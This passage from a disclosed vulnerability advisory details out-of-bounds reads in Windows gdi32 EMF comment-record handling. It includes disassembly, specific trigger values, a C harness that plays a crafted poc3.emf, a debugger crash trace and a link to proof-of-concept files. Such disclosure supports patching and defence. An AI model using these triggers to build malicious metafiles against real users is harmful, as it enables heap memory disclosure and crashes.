--- cut ---
|
||||||
|
.text:7DAE7B3A mov eax, [esi+24h]
|
||||||
|
.text:7DAE7B3D cmp eax, 0FFFFFFFh
|
||||||
|
.text:7DAE7B42 jnb short loc_7DAE7ADC
|
||||||
|
.text:7DAE7B44 shl eax, 4
|
||||||
|
.text:7DAE7B47 add eax, 28h
|
||||||
|
.text:7DAE7B4A push eax ; unsigned __int32
|
||||||
|
.text:7DAE7B4B push [ebp+arg_4] ; struct tagHANDLETABLE *
|
||||||
|
.text:7DAE7B4E mov ecx, esi ; this
|
||||||
|
.text:7DAE7B50 call ?bValidSize@MR@@QAEHPAUtagHANDLETABLE@@K@Z ; MR::bValidSize(tagHANDLETABLE *,ulong)
|
||||||
|
.text:7DAE7B55 test eax, eax
|
||||||
|
.text:7DAE7B57 jz short loc_7DAE7ADC
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
Since all calculations are performed on 32-bit types, it is possible to satisfy both conditions with the invalid 0xFFFFFFE value: 0x28 + (0x10 * 0xFFFFFFE) = 0x100000008 = (uint32)0x8.
|
||||||
|
|
||||||
|
The value is then used to iterate over EmrFormat objects assumed to reside in the current EMR_COMMENT_MULTIFORMATS record, searching for either ENHMETA_SIGNATURE (embedded EMF file) or EPS_SIGNATURE (embedded PostScript). If either of the signatures is found, the corresponding object is handled accordingly; other objects are skipped. The issue can therefore be used to have uninitialized / out-of-bounds heap data interpreted as EMF or PostScript, which could be then potentially retrieved back in GDI clients such as Internet Explorer.
|
||||||
|
|
||||||
|
The attached poc1.emf file illustrates the problem by crashing Internet Explorer, which attempts to read an EmrFormat signature outside of a page boundary.
|
||||||
|
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
- Lack of EmrFormat.offData field sanitization in EPS_SIGNATURE handling leading to heap-based out-of-bounds read with controlled offset and length
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
The code in the MRGDICOMMENT::bPlay() function responsible for handling EPS_SIGNATURE EmrFormat objects doesn't sanitize the EmrFormat.offData field before using it as an offset relative to the COMMENT_MULTIFORMATS record memory, in the context of the "source" argument to a memcpy() call ([EBX+4] is EmrFormat.offData):
|
||||||
|
|
||||||
|
--- cut ---
|
||||||
|
.text:7DAE7C27 mov eax, [ebx+4]
|
||||||
|
.text:7DAE7C2A lea eax, [eax+esi+0Ch]
|
||||||
|
.text:7DAE7C2E push eax ; Src
|
||||||
|
.text:7DAE7C2F lea eax, [edi+20h]
|
||||||
|
.text:7DAE7C32 push eax ; Dst
|
||||||
|
.text:7DAE7C33 call _memcpy
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
Lack of the value sanitization can be used to have any heap memory relative to the input record's buffer passed as input of the ENCAPSULATED_POSTSCRIPT escape code sent to the HDC.
|
||||||
|
|
||||||
|
The attached poc2.emf file is supposed to illustrate the issue; however, in order to reach the affected code, DrawEscape(HDC, QUERYESCSUPPORT, ENCAPSULATED_POSTSCRIPT) must succeed first. I haven't been able to find a rendering scenario in which a HDC supporting ENCAPSULATED_POSTSCRIPT is used, and thus I haven't managed to fully reproduce a crash (although the bug seems obvious from a manual analysis).
|
||||||
|
|
||||||
|
|
||||||
|
Short update: there is another problem in the gdi32!MRGDICOMMENT::bPlay() function: under several circumstances, it calls the gdi32!GdiComment() function with a fully attacker-controlled "Size" argument, which is assumed by the function to be trusted and is used to copy data out of the record's buffer. One such circumstance is when the MRGDICOMMENT::bIsPublicComment() function return FALSE, which is also under the input file's control.
|
||||||
|
|
||||||
|
--- cut ---
|
||||||
|
.text:7DAD2ECD push [ebp+arg_4] ; struct tagHANDLETABLE *
|
||||||
|
.text:7DAD2ED0 mov esi, ecx
|
||||||
|
.text:7DAD2ED2 call ?bCheckRecord@MRGDICOMMENT@@QAEHPAUtagHANDLETABLE@@@Z ; MRGDICOMMENT::bCheckRecord(tagHANDLETABLE *)
|
||||||
|
.text:7DAD2ED7 test eax, eax
|
||||||
|
.text:7DAD2ED9 jz loc_7DAE7ADC
|
||||||
|
.text:7DAD2EDF mov ecx, esi ; this
|
||||||
|
.text:7DAD2EE1 call ?bIsPublicComment@MRGDICOMMENT@@QAEHXZ ; MRGDICOMMENT::bIsPublicComment(void)
|
||||||
|
.text:7DAD2EE6 test eax, eax
|
||||||
|
.text:7DAD2EE8 jnz loc_7DAE7AE3
|
||||||
|
.text:7DAD2EEE
|
||||||
|
.text:7DAD2EEE loc_7DAD2EEE: ; CODE XREF: MRGDICOMMENT::bPlay(void *,tagHANDLETABLE *,uint)+14C3B31j
|
||||||
|
.text:7DAD2EEE ; MRGDICOMMENT::bPlay(void *,tagHANDLETABLE *,uint)+14C7231j
|
||||||
|
.text:7DAD2EEE lea eax, [esi+0Ch]
|
||||||
|
.text:7DAD2EF1 push eax ; lpData
|
||||||
|
.text:7DAD2EF2 push dword ptr [esi+8] ; nSize
|
||||||
|
.text:7DAD2EF5 push [ebp+hdc] ; hdc
|
||||||
|
.text:7DAD2EF8 call _GdiComment@12 ; GdiComment(x,x,x)
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
The invalid copy can occur in another nested function (gdi32!MF_GdiComment), which is only invoked if the HDC being drawn to is another EMF object. I have developed a short POC program to illustrate this:
|
||||||
|
|
||||||
|
--- cut ---
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
RECT rect = {0, 0, 100, 100};
|
||||||
|
HDC hdc = CreateEnhMetaFile(NULL, NULL, &rect, NULL);
|
||||||
|
HENHMETAFILE hemf = GetEnhMetaFile("poc3.emf");
|
||||||
|
PlayEnhMetaFile(hdc, hemf, &rect);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
If the attached poc3.emf file (which sets the Size to 0x70707070) is placed in the same directory as the test program, we can observe the following crash:
|
||||||
|
|
||||||
|
--- cut ---
|
||||||
|
(2aa0.2f84): Access violation - code c0000005 (first chance)
|
||||||
|
First chance exceptions are reported before any exception handling.
|
||||||
|
This exception may be expected and handled.
|
||||||
|
eax=70a370f0 ebx=00330080 ecx=0071bfe0 edx=00000000 esi=01f9fffc edi=03c10168
|
||||||
|
eip=77c12588 esp=0028fcf4 ebp=0028fcfc iopl=0 nv dn ei pl nz na pe nc
|
||||||
|
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010606
|
||||||
|
ntdll!memcpy+0x1b8:
|
||||||
|
77c12588 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||||
|
0:000> kb
|
||||||
|
ChildEBP RetAddr Args to Child
|
||||||
|
0028fcfc 762e5bf4 01fa01ec 00330080 70707070 ntdll!memcpy+0x1b8
|
||||||
|
0028fd10 762e5bb5 70707070 00330080 00330000 GDI32!MRGDICOMMENT::vInit+0x1e
|
||||||
|
0028fd60 762e5b0d 05212466 70707070 01fa01e0 GDI32!MF_GdiComment+0x21e
|
||||||
|
0028fd78 762e2efd 05212466 70707070 00330080 GDI32!GdiComment+0x43
|
||||||
|
0028fdbc 762e4e17 05212466 0078fd50 00000004 GDI32!MRGDICOMMENT::bPlay+0x25a
|
||||||
|
0028fe34 762eca93 05212466 0078fd50 00330074 GDI32!PlayEnhMetaFileRecord+0x2c5
|
||||||
|
0028febc 762ecaf2 05212466 403581b4 00000000 GDI32!bInternalPlayEMF+0x66b
|
||||||
|
*** ERROR: Module load completed but symbols could not be loaded for image00400000
|
||||||
|
0028fed8 00401478 05212466 05462463 0028fef8 GDI32!PlayEnhMetaFile+0x32
|
||||||
|
WARNING: Stack unwind information not available. Following frames may be wrong.
|
||||||
|
0028ff18 004010fd 0028ff28 75a09e34 7efde000 image00400000+0x1478
|
||||||
|
0028ff94 77c29a02 7efde000 4fdbb63f 00000000 image00400000+0x10fd
|
||||||
|
0028ffd4 77c299d5 00401280 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
|
||||||
|
0028ffec 00000000 00401280 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b
|
||||||
|
--- cut ---
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39833.zip
|
||||||
|
|
Loading…
Add table
Reference in a new issue